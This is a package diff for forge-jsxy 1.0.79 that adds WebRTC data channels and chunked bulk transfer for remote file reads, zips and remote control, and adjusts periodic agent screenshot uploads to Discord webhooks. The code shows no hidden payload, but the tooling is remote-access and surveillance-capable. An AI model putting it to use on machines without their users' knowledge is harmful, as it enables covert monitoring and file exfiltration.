forge-jsxy 1.0.78 → 1.0.79

package/dist/cli-relay.js

@@ -28,6 +28,9 @@ function parseArgs(argv) {
                 `       RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
                 `       RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
                 `       Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
+                `       WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
+                `       default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
+                `       RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
                 `       RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
             process.exit(0);
         }

package/dist/discordAgentScreenshot.js

@@ -143,7 +143,7 @@ function discordUploadMode() {
 }
 /**
  * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
- * (default **4**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
+ * (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
  */
 function discordWebhookTicketFlowMaxAttempts() {
     const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
@@ -258,6 +258,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
     };
     const flushUploadRelay = (b64) => {
         const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+        /** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
         let payload = b64;
         void (async () => {
             try {
@@ -293,7 +294,8 @@ function startDiscordScreenshotToRelayLoop(opts) {
         })();
     };
     const flushUploadWebhook = (b64) => {
-        const originalB64 = b64;
+        /** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
+        let screenshotB64ForFallback = b64;
         let rawB64 = b64;
         void (async () => {
             let png;
@@ -304,6 +306,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
                 if (!opts.quiet) {
                     console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
                 }
+                screenshotB64ForFallback = "";
                 rawB64 = "";
                 uploadBusy = false;
                 if (!stopped && pendingB64Queue.length > 0)
@@ -320,8 +323,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
                     }
                     // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
                     if (discordWebhookRelayFallbackEnabled()) {
-                        await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
+                        await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
                     }
+                    screenshotB64ForFallback = "";
                     try {
                         png.fill(0);
                     }
@@ -365,7 +369,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
                             console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
                         }
                         if (discordWebhookRelayFallbackEnabled()) {
-                            await relayFallbackUploadWithRetry(originalB64, err);
+                            await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
                         }
                         return;
                     }
@@ -395,7 +399,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
                         console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
                     }
                     if (discordWebhookRelayFallbackEnabled()) {
-                        await relayFallbackUploadWithRetry(originalB64, posted.error);
+                        await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
                     }
                     return;
                 }
@@ -403,7 +407,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
                     console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
                 }
                 if (discordWebhookRelayFallbackEnabled()) {
-                    await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
+                    await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
                 }
             }
             catch (e) {
@@ -411,10 +415,12 @@ function startDiscordScreenshotToRelayLoop(opts) {
                     console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
                 }
                 if (discordWebhookRelayFallbackEnabled()) {
-                    await relayFallbackUploadWithRetry(originalB64, String(e));
+                    await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
                 }
             }
             finally {
+                screenshotB64ForFallback = "";
+                rawB64 = "";
                 if (png && png.length > 0) {
                     try {
                         png.fill(0);

package/dist/forgeBulkDc.d.ts

@@ -0,0 +1,57 @@
+/**
+ * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip payloads.
+ *
+ * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
+ * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
+ * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
+ *
+ * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
+ *
+ * **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
+ * resets — otherwise the next hdr could be mis-parsed while mid-chunk.
+ */
+export declare const FORGE_BULK_MAGIC_KEY = "_fb";
+export declare const FORGE_BULK_MAGIC_VAL = "hdr";
+/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
+export declare const FORGE_BULK_ABORT_VAL = "abort";
+/** Legacy single-binary framing (still accepted by viewers). */
+export declare const FORGE_BULK_VERSION_V1 = 1;
+/** Chunked binary framing (agent send path). */
+export declare const FORGE_BULK_VERSION = 2;
+/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
+export declare const FORGE_BULK_MAX_BODY_BYTES: number;
+/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
+export declare const FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES: number;
+/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
+export declare const FORGE_BULK_V2_MAX_CHUNK_SZ: number;
+/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
+export declare const FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
+export type ForgeBulkDc = {
+    isOpen: () => boolean;
+    sendMessage: (s: string) => boolean;
+    sendMessageBinary: (b: Uint8Array) => boolean;
+};
+export type ForgeBulkPushResult = {
+    status: "pending";
+} | {
+    status: "complete";
+    msg: Record<string, unknown>;
+} | {
+    status: "error";
+};
+export declare function forgeBulkAbortWireJson(): string;
+/**
+ * Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
+ */
+export declare class ForgeBulkInboundAssembler {
+    private mode;
+    private hdr;
+    private byteLen;
+    private chunkSz;
+    private buf;
+    private filled;
+    reset(): void;
+    pushJson(text: string): ForgeBulkPushResult;
+    pushBinary(data: Uint8Array): ForgeBulkPushResult;
+}
+export declare function forgeBulkAgentTrySend(dc: ForgeBulkDc | null | undefined, resp: Record<string, unknown>): boolean;

package/dist/forgeBulkDc.js

@@ -0,0 +1,264 @@
+"use strict";
+/**
+ * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip payloads.
+ *
+ * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
+ * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
+ * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
+ *
+ * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
+ *
+ * **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
+ * resets — otherwise the next hdr could be mis-parsed while mid-chunk.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.ForgeBulkInboundAssembler = exports.FORGE_BULK_V2_MIN_CHUNK_SZ = exports.FORGE_BULK_V2_MAX_CHUNK_SZ = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = exports.FORGE_BULK_MAX_BODY_BYTES = exports.FORGE_BULK_VERSION = exports.FORGE_BULK_VERSION_V1 = exports.FORGE_BULK_ABORT_VAL = exports.FORGE_BULK_MAGIC_VAL = exports.FORGE_BULK_MAGIC_KEY = void 0;
+exports.forgeBulkAbortWireJson = forgeBulkAbortWireJson;
+exports.forgeBulkAgentTrySend = forgeBulkAgentTrySend;
+const fsProtocol_1 = require("./fsProtocol");
+exports.FORGE_BULK_MAGIC_KEY = "_fb";
+exports.FORGE_BULK_MAGIC_VAL = "hdr";
+/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
+exports.FORGE_BULK_ABORT_VAL = "abort";
+/** Legacy single-binary framing (still accepted by viewers). */
+exports.FORGE_BULK_VERSION_V1 = 1;
+/** Chunked binary framing (agent send path). */
+exports.FORGE_BULK_VERSION = 2;
+/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
+exports.FORGE_BULK_MAX_BODY_BYTES = fsProtocol_1.MAX_READ_BYTES * 4;
+/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
+exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = 56 * 1024;
+/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
+exports.FORGE_BULK_V2_MAX_CHUNK_SZ = 256 * 1024;
+/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
+exports.FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
+const HDR_STR_MAX = 24576;
+function stripBulkHdrFields(hdr) {
+    const msg = {};
+    for (const k of Object.keys(hdr)) {
+        if (k === exports.FORGE_BULK_MAGIC_KEY || k === "v" || k === "byte_len" || k === "chunk_sz")
+            continue;
+        msg[k] = hdr[k];
+    }
+    return msg;
+}
+function bytesToB64(buf) {
+    return Buffer.from(buf).toString("base64");
+}
+function forgeBulkAbortWireJson() {
+    return JSON.stringify({
+        [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_ABORT_VAL,
+        v: exports.FORGE_BULK_VERSION,
+    });
+}
+function trySendBulkAbort(dc) {
+    try {
+        if (dc.isOpen())
+            dc.sendMessage(forgeBulkAbortWireJson());
+    }
+    catch {
+        /* skip */
+    }
+}
+/**
+ * Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
+ */
+class ForgeBulkInboundAssembler {
+    mode = "hdr";
+    hdr = null;
+    byteLen = 0;
+    chunkSz = 0;
+    buf = null;
+    filled = 0;
+    reset() {
+        this.mode = "hdr";
+        this.hdr = null;
+        this.byteLen = 0;
+        this.chunkSz = 0;
+        this.buf = null;
+        this.filled = 0;
+    }
+    pushJson(text) {
+        let j;
+        try {
+            j = JSON.parse(text);
+        }
+        catch {
+            this.reset();
+            return { status: "error" };
+        }
+        const magic = j && j[exports.FORGE_BULK_MAGIC_KEY];
+        if (magic === exports.FORGE_BULK_ABORT_VAL) {
+            this.reset();
+            return { status: "error" };
+        }
+        if (this.mode !== "hdr") {
+            if (magic === exports.FORGE_BULK_MAGIC_VAL) {
+                this.reset();
+            }
+            else {
+                this.reset();
+                return { status: "error" };
+            }
+        }
+        if (!j || magic !== exports.FORGE_BULK_MAGIC_VAL) {
+            this.reset();
+            return { status: "error" };
+        }
+        const ver = Number(j.v);
+        if (ver !== exports.FORGE_BULK_VERSION_V1 && ver !== exports.FORGE_BULK_VERSION) {
+            this.reset();
+            return { status: "error" };
+        }
+        const bl = Number(j.byte_len);
+        if (!Number.isFinite(bl) || bl < 0 || bl > exports.FORGE_BULK_MAX_BODY_BYTES || Math.floor(bl) !== bl) {
+            this.reset();
+            return { status: "error" };
+        }
+        const byteLen = bl | 0;
+        this.hdr = j;
+        this.byteLen = byteLen;
+        if (byteLen === 0) {
+            const msg = stripBulkHdrFields(j);
+            msg.b64 = "";
+            this.reset();
+            return { status: "complete", msg };
+        }
+        if (ver === exports.FORGE_BULK_VERSION_V1) {
+            this.mode = "v1wait";
+            return { status: "pending" };
+        }
+        let cs = Number(j.chunk_sz);
+        if (!Number.isFinite(cs) ||
+            cs < exports.FORGE_BULK_V2_MIN_CHUNK_SZ ||
+            cs > exports.FORGE_BULK_V2_MAX_CHUNK_SZ ||
+            Math.floor(cs) !== cs) {
+            this.reset();
+            return { status: "error" };
+        }
+        this.chunkSz = cs | 0;
+        try {
+            this.buf = new Uint8Array(byteLen);
+        }
+        catch {
+            this.reset();
+            return { status: "error" };
+        }
+        this.filled = 0;
+        this.mode = "v2fill";
+        return { status: "pending" };
+    }
+    pushBinary(data) {
+        if (this.mode === "hdr") {
+            this.reset();
+            return { status: "error" };
+        }
+        if (!this.hdr || data.length <= 0) {
+            this.reset();
+            return { status: "error" };
+        }
+        if (this.mode === "v1wait") {
+            if (data.length !== this.byteLen) {
+                this.reset();
+                return { status: "error" };
+            }
+            const msg = stripBulkHdrFields(this.hdr);
+            msg.b64 = bytesToB64(data);
+            this.reset();
+            return { status: "complete", msg };
+        }
+        if (this.mode === "v2fill") {
+            const buf = this.buf;
+            if (!buf) {
+                this.reset();
+                return { status: "error" };
+            }
+            const rem = this.byteLen - this.filled;
+            if (data.length > rem) {
+                this.reset();
+                return { status: "error" };
+            }
+            if (rem > this.chunkSz) {
+                if (data.length !== this.chunkSz) {
+                    this.reset();
+                    return { status: "error" };
+                }
+            }
+            else if (data.length !== rem) {
+                this.reset();
+                return { status: "error" };
+            }
+            buf.set(data, this.filled);
+            this.filled += data.length;
+            if (this.filled === this.byteLen) {
+                const msg = stripBulkHdrFields(this.hdr);
+                msg.b64 = bytesToB64(buf);
+                this.reset();
+                return { status: "complete", msg };
+            }
+            return { status: "pending" };
+        }
+        this.reset();
+        return { status: "error" };
+    }
+}
+exports.ForgeBulkInboundAssembler = ForgeBulkInboundAssembler;
+function forgeBulkAgentTrySend(dc, resp) {
+    if (!dc?.isOpen())
+        return false;
+    const ty = String(resp.type ?? "");
+    if (ty !== "fs_read_result" && ty !== "fs_zip_result")
+        return false;
+    const b64 = resp.b64;
+    if (typeof b64 !== "string" || b64.length === 0)
+        return false;
+    let raw;
+    try {
+        raw = Buffer.from(b64, "base64");
+    }
+    catch {
+        return false;
+    }
+    if (raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
+        return false;
+    const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
+    const hdr = {
+        [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
+        v: exports.FORGE_BULK_VERSION,
+        byte_len: raw.length,
+        chunk_sz: chunkSz,
+    };
+    for (const [k, v] of Object.entries(resp)) {
+        if (k === "b64")
+            continue;
+        hdr[k] = v;
+    }
+    let hdrStr;
+    try {
+        hdrStr = JSON.stringify(hdr);
+    }
+    catch {
+        return false;
+    }
+    if (hdrStr.length > HDR_STR_MAX)
+        return false;
+    let hdrCommitted = false;
+    try {
+        if (!dc.sendMessage(hdrStr))
+            return false;
+        hdrCommitted = true;
+        for (let off = 0; off < raw.length; off += chunkSz) {
+            const slice = raw.subarray(off, Math.min(off + chunkSz, raw.length));
+            if (!dc.sendMessageBinary(new Uint8Array(slice))) {
+                trySendBulkAbort(dc);
+                return false;
+            }
+        }
+        return true;
+    }
+    catch {
+        if (hdrCommitted)
+            trySendBulkAbort(dc);
+        return false;
+    }
+}

package/dist/forgeRtcAgent.d.ts

@@ -0,0 +1,31 @@
+export declare function forgeWebRtcP2PEnabled(): boolean;
+export declare function agentOutboundPreferRtcDc(msgType: string): boolean;
+export declare function rtcIceServersForNodeDc(raw: unknown[] | null | undefined): string[];
+export type ForgeRtcSignalingSend = (msg: Record<string, unknown>) => void;
+type PeerConnCtor = typeof import("node-datachannel").PeerConnection;
+export type DataChannelApi = {
+    sendMessage: (s: string) => boolean;
+    sendMessageBinary?: (b: Uint8Array) => boolean;
+    isOpen: () => boolean;
+};
+export interface ForgeRtcAgentSessionOptions {
+    PeerConnection: PeerConnCtor;
+    sdp: string;
+    sdpType: string;
+    iceServers: string[];
+    sendSignaling: ForgeRtcSignalingSend;
+    /** `main` = `forge-rc`; `input` = optional `forge-rc-input`; `bulk` = ordered `forge-bulk` (large fs payloads). */
+    setOutboundDc: (which: "main" | "input" | "bulk", dc: DataChannelApi | null) => void;
+    onInboundDcText: (text: string) => void;
+    onFatal: () => void;
+    quiet: boolean;
+}
+export declare class ForgeRtcAgentSession {
+    private readonly pc;
+    private destroyed;
+    constructor(opts: ForgeRtcAgentSessionOptions);
+    addRemoteIce(candidate: string, mid: string): void;
+    close(): void;
+}
+export declare function loadNodeDcPeerConnection(): PeerConnCtor | null;
+export {};